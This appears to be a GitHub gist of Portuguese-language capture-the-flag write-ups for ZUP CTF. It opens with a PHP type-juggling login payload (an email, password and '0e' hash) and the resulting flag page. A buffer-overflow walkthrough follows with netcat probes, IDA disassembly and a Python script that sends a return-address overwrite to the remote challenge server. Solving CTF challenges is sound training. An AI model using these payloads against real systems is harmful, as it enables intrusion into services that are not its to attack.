1000
2000
3000
4000
5000
6000
7000
8000
9000
10000
11000
12000
13000
14000
15000
16000
17000
?email=admin@zup.com.br&pass=p3F12p&hash=0e0000 <!DOCTYPE html>
<html>
   <title>Welcome to the Juggling 2.0</title>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1">
   <body bgcolor="#afafaf">
      <center>
         <h1 style="font-size:60px;">If you find my email and password I'll give you the flag</h1>

      </center>
      <hr>
      <div style="position: relative; top:10px; align:center; bottom:500px;">
         <div>
            <center style='color:blue'><h3>Congratulations, you found my email and password!<h3><center style='color:red'><h3>The flag is: ZUP-CTF{Ju66l1n62.0!}<h3>
18000
76.19752478599548

BOF v2

Esse desafio consiste em efetuar um buffer overflow para alterar o endereço de retorno na pilha de chamadas para imprimir a flag.

Inicialmente executei o programa ele mostrou o seguinte output:

$ ./crackme 
[+] Server Socket Created Sucessfully.
[+] Bind to Port number 8090.
[+] Listening on 0.0.0.0:8090

Hora de usar o netcat em outro terminal e ver no que dá:

$ echo -n "abc" | nc localhost 8090
Try harder!

No terminal onde estava sendo executado o servido foi impresso:

[+] Connection received from 0.0.0.0
[+] Client 0.0.0.0 sent payload
Welcome to ZUP CTF, brought to you by Red'n'Blue Teams
data is at 0x8d1fa0, fp is at 0x8d1ff0, will be calling 0x401ed3

Como o nome do desafio (BOF) sugeria buffer overflow enviei uma string bem grande para entender o que iria acontecer.

$ echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc localhost 8090

Dessa vez o programa gerou um core dump indicando que ele tentou chamar uma função fora do espaço de endereçamento do executável e o log demonstra isso:

[+] Connection received from 127.0.0.1
[+] Client 127.0.0.1 sent payload
Welcome to ZUP CTF, brought to you by Red'n'Blue Teams
data is at 0x8d2040, fp is at 0x8d2090, will be calling 0x6161616161616161
Falha de segmentação (imagem do núcleo gravada)

Observe que o endereço da função chamada originalmente (0x401ed3) foi alterado para 0x6161616161616161. O valor 61 é o código hexadecimal da letra "a" o que indica que houve um buffer overflow que sobrescreve o endereço de retorno causando a falha de segmentação.

A questão agora é conseguir apontar esse endereço para algo útil. Para isso usei o IDA para fazer o disassembly do código do executável e debugar. A idéia inicial era incluir no inicio da string um shell code para tentar abrir um shell na máquina, mas ao abrir o código no IDA percebi que o executável estava com informações de depuração (revelando o nome real das funções) achei duas rotinas bem sugestivas: winner e nowinner.

Analisando a posição dessas rotinas a função nowinner estava na posição 0x401ED3 que era exatamente a posição impressa originalmente quando o buffer não foi estourado. Analisando o código dela ela imprime a mensagem Try Harder! que é retornada pelo servidor conforme listagem abaixo:

.text:0000000000401ED3                 public nowinner
.text:0000000000401ED3 nowinner        proc near               ; DATA XREF: heapBof+3C↓o
.text:0000000000401ED3                 endbr64
.text:0000000000401ED7                 push    rbp
.text:0000000000401ED8                 mov     rbp, rsp
.text:0000000000401EDB                 mov     eax, cs:newSocket
.text:0000000000401EE1                 mov     edx, 0Ch
.text:0000000000401EE6                 lea     rsi, noflag     ; "Try harder!"
.text:0000000000401EED                 mov     edi, eax
.text:0000000000401EEF                 call    write
.text:0000000000401EF4                 nop
.text:0000000000401EF5                 pop     rbp
.text:0000000000401EF6                 retn
.text:0000000000401EF6 nowinner        endp

A função winner estava na posição 0x401EA5 do executável. E analisando código assembly dela verifiquei que ela imprime um arquivo chamado flag.txt. conforme a listagem abaixo:

.text:0000000000401EA5                 public winner
.text:0000000000401EA5 winner          proc near
.text:0000000000401EA5                 endbr64
.text:0000000000401EA9                 push    rbp
.text:0000000000401EAA                 mov     rbp, rsp
.text:0000000000401EAD                 mov     eax, 0
.text:0000000000401EB2                 call    readFile
.text:0000000000401EB7                 mov     eax, cs:newSocket
.text:0000000000401EBD                 mov     edx, 40h ; '@'
.text:0000000000401EC2                 lea     rsi, FLAG
.text:0000000000401EC9                 mov     edi, eax
.text:0000000000401ECB                 call    write
.text:0000000000401ED0                 nop
.text:0000000000401ED1                 pop     rbp
.text:0000000000401ED2                 retn
.text:0000000000401ED2 winner          endp
.text:0000000000401ED2

O pulo do gato aqui é trocar o valor 0x401ED3 por 0x401EA5 e a flag será retornada pelo servidor.

Após achar a string exata para fazer essa troca escrevi um script para executar isso no servidor remoto:

import socket

HOST = "0.cloud.chals.io"  # The server's hostname or IP address
PORT = 10464  # The port used by the server

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.sendall(b"abcdefghijklmnopqrstuvwxyzABCDEFHIJKLMNOPQRSTUVWXYZaaabacadaeafagahaiajakalamana\xa5\x1e\x40")
    data = s.recv(1024)

print(f"Received {data!r}")

Ao executar o script a flag ZUP-CTF{34syh34p8uff3r0v3rfl0w} é retornada pelo servidor:

$ python solve.py 
Received b'ZUP-CTF{34syh34p8uff3r0v3rfl0w}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
@matheusferreirazup
Copy link

👍
Sensacional! Parabéns.

@alexandrefvb
Copy link
Author

Valeu Matheus! Abraço!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment